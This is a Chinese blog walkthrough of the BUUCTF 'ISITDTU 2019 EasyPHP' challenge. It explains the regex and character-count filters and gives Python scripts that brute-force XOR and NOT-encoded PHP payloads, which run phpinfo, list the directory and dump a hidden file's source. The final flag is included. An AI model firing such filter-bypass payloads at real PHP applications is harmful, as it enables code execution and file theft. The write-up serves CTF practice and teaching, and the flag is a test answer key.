首页 > 编程语言 >BUUCTF:[ISITDTU 2019]EasyPHP

BUUCTF:[ISITDTU 2019]EasyPHP

时间:2023-06-19 21:04:01浏览次数:62  
标签:BUUCTF pcntl 2019 ff EasyPHP ff% 9b% 9c% a0%


题目地址:BUUCTF:[ISITDTU 2019]EasyPHP Refer: https://tiaonmmn.github.io/2019/07/18/ISITDTU-Easy-PHP/

BUUCTF:[ISITDTU 2019]EasyPHP_php


思路很简单,绕过这两个if即可任意代码执行

先看一下第一个正则匹配
看不懂的推荐使用这个网站:https://regex101.com/

if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

BUUCTF:[ISITDTU 2019]EasyPHP_bc_02

\x00- 0-9                       匹配\x00到空格(\x20),0-9的数字
'"`$&.,|[{_defgops              匹配这些字符
\x7F                            匹配DEL(\x7F)字符

匹配到以上字符就die掉

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

当mode=3: 会返回包含所有用过的不同字符的字符串

BUUCTF:[ISITDTU 2019]EasyPHP_php_03


strlen(count_chars(strtolower($_),0x3))>0xd的意思也就是不能提交超过13(<=13)种字符

首先来查看有哪些函数提交是可以使用的看看

$array=get_defined_functions();//返回所有内置定义函数
foreach($array['internal'] as $arr){
    if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
    if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
    print($arr.'<br/>');
}

//运行结果
bcmul
rtrim
trim
ltrim
chr
link
unlink
tan
atan
atanh
tanh
intval
mail
min
max
virtual

没有我们需要的函数
在观看正则规则的时候发现没有过滤~^字符,想到可以取反编码绕过和异或绕过
具体参考我的这篇文章:关于PHP正则的一些绕过方法 首先来个phpinfo()看一下

PS C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');" 
%8F%97%8F%96%91%99%90

BUUCTF:[ISITDTU 2019]EasyPHP_字符串_04

final_string="phpinfo"
allowed="!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~"
for a in final_string:    
    for i in allowed:
        for p in allowed:
            if ord(i)^ord(p)==ord(a):
                print("i=%s p=%s a=%s"%(i,p,a))

暴力搜索符合条件的字符串,例如:phpinfo=%8f%97%8f%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff。

查看disable_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,

从phpinfo返回中可以看到所有命令执行的函数都被disable了。同时也限制了open_basedir在/var/www/html。下一步是找flag文件。我们可以用scandir() 或者 glob()函数列目录,但它返回一个数组,我们还需要一个print_r或var_dump

即目标为

print_r(scandir('.'));==((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

发现可以运行,但是count_chars那里过不去,我们一共用了16个不同字符,下一步是缩减字符数。

result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # Original chars,11 total
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c]  # to be deleted
temp = []
for d in result2:
    for a in result:
        for b in result:
            for c in result:
                if (a ^ b ^ c == d):
                    if a == b == c == d:
                        continue
                    else:
                        print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
                        if d not in temp:
                            temp.append(d)
print(len(temp), temp)

除了必要的()^;以外,我们最多剩余9个字符的空间,逐步删除result里的值,当结果仍能保持11个,就意味着我们可以继续删除了。

print_r(scandir(.));=((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

BUUCTF:[ISITDTU 2019]EasyPHP_bc_05


可以发现当前目录下有一个 n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt文件,我们尝试直接打开。403,行吧。那么我们接着读文件。scandir返回的是个数组,且刚才的结果显示我们要找的文件在scandir的结果最后面,那么用end()方法就可以得到文件名了。读文件可以用show_source或者readfile

result2 = [160, 136, 138, 140, 141, 144, 145, 209, 150, 151, 154, 155, 156, 158]  # Original chars,14 total
result = [160, 136, 141, 209, 151, 154, 155, 156]
temp = []
for d in result2:
    for a in result:
        for b in result:
            for c in result:
                if (a ^ b ^ c == d):
                    if (a == b == c == d) or (a==b) or (b==c) or (c==d) or(a==c):
                        continue
                    else:
                        print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
                        if d not in temp:
                            temp.append(d)
print(len(temp), temp)
show_source(end(scandir(.)));=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

BUUCTF:[ISITDTU 2019]EasyPHP_php_06


flag{b27e57a7-1a30-4a13-b4a9-0a318b8268c6}


标签:BUUCTF,pcntl,2019,ff,EasyPHP,ff%,9b%,9c%,a0%
From: https://blog.51cto.com/u_16159500/6517198

相关文章

  • BUUCTF:[SWPU2019]Web3
    参考:https://www.leavesongs.com/PENETRATION/client-session-security.htmlhttp://forever404.cn/2019/12/14/SWPU2019web%E5%A4%8D%E7%8E%B0/点击upload有权限设置,猜测cookie伪造权限不够,查看session使用P师傅的脚本可以解这个session#!/usr/bin/envpython3importsysimpor......
  • BUUCTF:[CISCN2019 华东南赛区]Double Secret
    BUUCTF:[CISCN2019华东南赛区]DoubleSecret查看robots.txt无可用信息线索在目录:http://274c1aad-138b-4fe6-9815-8feeaf028127.node3.buuoj.cn/secret尝试传参?secret=发现当字符串长度超过4位的时候,出现报错寻找关键代码这里调用了rc4再通过render_template_string执行,SST......
  • BUUCTF:[WUSTCTF2020]girlfriend
    下载下来一个音频文件一个题目描述使用Audacity打开这段音频Audacity官方下载Audacity是一款易于使用的多轨音频编辑器和记录器,适用于Windows,MacOSX,GNU/Linux和其他操作系统。在CTF比赛中,可以通过对音频进行频谱的分析,以及音频其他内容的分析,找到flag。听起来像是在打电话......
  • BUUCTF:[XMAN2018排位赛]通行证
    PS:网上有很多解密网站,有时候可能同一种类型解密网站可能解密出不同的内容,所以当一个站解不出来的时候,建议多测试几个,别在一棵树上吊死题目内容:a2FuYmJyZ2doamx7emJfX19ffXZ0bGFsbg==base64解码得到kanbbrgghjl{zb____}vtlaln栅栏密码9(每组字数7)kzna{blnl_abj_lbh_trg_vg}凯撒解......
  • BUUCTF:[BSidesCF 2019]Mixer
    知识盲区题不多bb了,涉及加密的看不太懂,直接放参考链接,记录一下......
  • BUUCTF:[HCTF 2018]Hide and seek
    BUUCTF:[HCTF2018]Hideandseek参考:https://www.jianshu.com/p/d20168da7284先随便输入账号密码登录提示我们上传zip文件上传一个文件压缩后的zip,输出了文件压缩前的内容可能是有文件读取,我们创建一个软链接(类似windows的快捷方式)指向一个服务器上的文件,试试看能不能读取root@......
  • BUUCTF:[RCTF2015]EasySQL
    BUUCTF:[RCTF2015]EasyS先注册一个用户在注册的时候,fuzz测试发现在username和email中过滤了以下字符:@orandspace(空格)substrmidleftrighthandle没有源码慢慢测试.......登录,发现还有个改密码在注册时用户名加些测试字符进去,'mochu7"\然后登录,在修改密码的时候,发现报错了......
  • BUUCTF NewStarCTF 公开赛赛道Week2 Writeup
    文章目录WEEK2WEBWord-For-You(2Gen)IncludeOneUnserializeOneezAPIMISCYesecnodrumsticks2Coldwinds'sDesktop奇怪的二维码qsdz'sgirlfriend2WEEK2WEBWord-For-You(2Gen)题目描述哇哇哇,我把查询界面改了,现在你们不能从数据库中拿到东西了吧哈哈(不过为了调试的代码似乎忘......
  • [极客大挑战 2019]FinalSQL
    https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]FinalSQL测起来有点感觉过滤很奇怪casewhenmidunionif'and-!|...逻辑运算符与、或都测起来有点奇怪,同或因为过滤了!没法用,所以用异或mysql>select0^1;+-----+|0^1|+-----+|......
  • [Ynoi2019 模拟赛] Yuno loves sqrt technology I
    题目Link分块,首先预处理所有整块之间的答案,这部分用类似莫队二离的手法可以改成\(O(n)\)次插入和\(O(n\sqrt{n})\)查询,然后根号平衡一手做到\(O(n\sqrt{n})\);空间自然也是能线性的。当然更直白的说法是,直接预处理\(f(i,j)\)表示前\(i\)块中\(>j\)的元素个数。然后考......